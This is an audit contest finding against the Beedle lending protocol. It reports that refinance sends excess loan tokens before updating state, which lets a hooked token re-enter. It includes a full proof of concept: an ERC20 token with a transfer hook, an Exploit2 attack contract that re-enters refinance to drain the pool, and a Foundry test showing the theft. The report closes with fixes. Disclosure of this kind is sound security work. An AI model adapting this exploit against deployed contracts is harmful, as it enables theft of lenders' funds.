20,000 USDC
View results
Submission Details
Severity: medium
Valid

Lender contract can be drained by re-entrancy in `refinance` (debt)

Summary

Tokens allowing reentrant calls on transfer can be drained from a pool.

Vulnerability Details

Some tokens allow reentrant calls on transfer (e.g. ERC777 tokens).
Example of token with hook on transfer:

pragma solidity ^0.8.19;
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
contract WeirdToken is ERC20 {
constructor(uint256 amount) ERC20("WeirdToken", "WT") {
_mint(msg.sender, amount);
}
// Hook on token transfer
function _afterTokenTransfer(address from, address to, uint256 amount) internal override {
if (to != address(0)) {
(bool status,) = to.call(abi.encodeWithSignature("tokensReceived(address,address,uint256)", from, to, amount));
}
}
}

This kind of token allows a re-entrancy attack in the refinance function. When the new debt is more than the current loan debt, the difference is sent to the borrower before updating the state.

File: Lender.Sol
L647: } else if (debtToPay < debt) {
// we have excess loan tokens so we give some back to the borrower
// first we take our borrower fee
uint256 fee = (borrowerFee * (debt - debtToPay)) / 10000;
IERC20(loan.loanToken).transfer(feeReceiver, fee);
// transfer the loan tokens from the contract to the borrower
IERC20(loan.loanToken).transfer(msg.sender, debt - debtToPay - fee); // @audit - Re-entrancy can drain pool
}

https://github.com/Cyfrin/2023-07-beedle/blob/658e046bda8b010a5b82d2d85e824f3823602d27/src/Lender.sol#L653

Impact

POC

An attacker can use the following exploit contract to drain the lender contract:

File: Exploit2.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {WeirdToken} from "./WeirdToken.sol";
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import "../utils/Structs.sol";
import "../Lender.sol";
contract Exploit2 {
Lender lender;
address loanToken;
address collateralToken;
bool borrowed;
Refinance refinance;
uint256 i;
constructor(Lender _lender, address _loanToken, address _collateralToken) {
lender = _lender;
loanToken = _loanToken;
collateralToken = _collateralToken;
}
function attack(bytes32 _poolId, uint256 _debt, uint256 _collateral, uint256 _loanId, uint256 _newDebt) external {
// [1] Borrow a new loan
ERC20(collateralToken).approve(address(lender), _collateral);
Borrow memory b = Borrow({
poolId: _poolId,
debt: _debt,
collateral: _collateral
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
borrowed = true;
// [2] Refinance the loan with a higher amount of debt
refinance = Refinance({
loanId: _loanId,
poolId: _poolId,
debt: _newDebt,
collateral: _collateral
});
Refinance[] memory refinances = new Refinance[](1);
refinances[0] = refinance;
lender.refinance(refinances);
// [3] Repay the loan
ERC20(loanToken).approve(address(lender), _newDebt);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = _loanId;
lender.repay(loanIds);
// [4] Send the funds back to the attacker
ERC20(loanToken).transfer(msg.sender, ERC20(loanToken).balanceOf(address(this)));
ERC20(collateralToken).transfer(msg.sender, ERC20(collateralToken).balanceOf(address(this)));
}
function tokensReceived(address from, address /*to*/, uint256 amount) external {
require(msg.sender == loanToken, "not collateral token");
if (from == address(lender) && borrowed) {
// Re-enter 4 times
if (i < 4) {
i = i + 1;
Refinance[] memory refinances = new Refinance[](1);
refinances[0] = refinance;
lender.refinance(refinances);
}
}
}
}

Here are the tests that can be added to Lender.t.sol to illustrate the steps of an attacker:

function test_exploit() public {
// Setup
address attacker = address(0x5);
collateralToken.mint(address(attacker), 100*10**18);
vm.startPrank(lender1);
WeirdToken weirdToken = new WeirdToken(1_000*10**18);
weirdToken.approve(address(lender), 1_000*10**18);
// lender1 creates a pool of weirdTokens accepting collateralToken as collateral
Pool memory p = Pool({
lender: lender1,
loanToken: address(weirdToken),
collateralToken: address(collateralToken),
minLoanSize: 10*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
// Before the exploit
assertEq(collateralToken.balanceOf(address(lender)), 0);
assertEq(weirdToken.balanceOf(address(lender)), 1_000*10**18); // Lender has 1_000 weirdTokens to lend
assertEq(collateralToken.balanceOf(address(attacker)), 100*10**18); // Attacker has 100 collateral tokens
assertEq(weirdToken.balanceOf(address(attacker)), 0); // Attacker has no weirdTokens
// Exploit starts here
vm.startPrank(attacker);
Exploit2 attackContract = new Exploit2(lender, address(weirdToken), address(collateralToken));
collateralToken.transfer(address(attackContract), 100*10**18);
uint256 debt = 10*10**18;
uint256 collateral = 100*10**18;
uint256 loanId = 0;
uint256 newDebt = 100*10**18;
attackContract.attack(poolId, debt, collateral, loanId, newDebt);
// After the exploit
assertEq(collateralToken.balanceOf(address(lender)), 0);
assertLt(weirdToken.balanceOf(address(lender)), 650*10**18); // Pool lost some weirdTokens
assertEq(collateralToken.balanceOf(address(attacker)), 100*10**18); // Attacker keept his collateralTokens
assertGt(weirdToken.balanceOf(address(attacker)), 350*10**18); // Attacker stole some weirdTokens
}

Tools Used

Manual review + Foundry

Recommendations

Follow the Checks - Effect - Interactions (CEI) pattern by updating the loan debt before transfering the excess loan tokens AND use nonReentrant modifiers

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.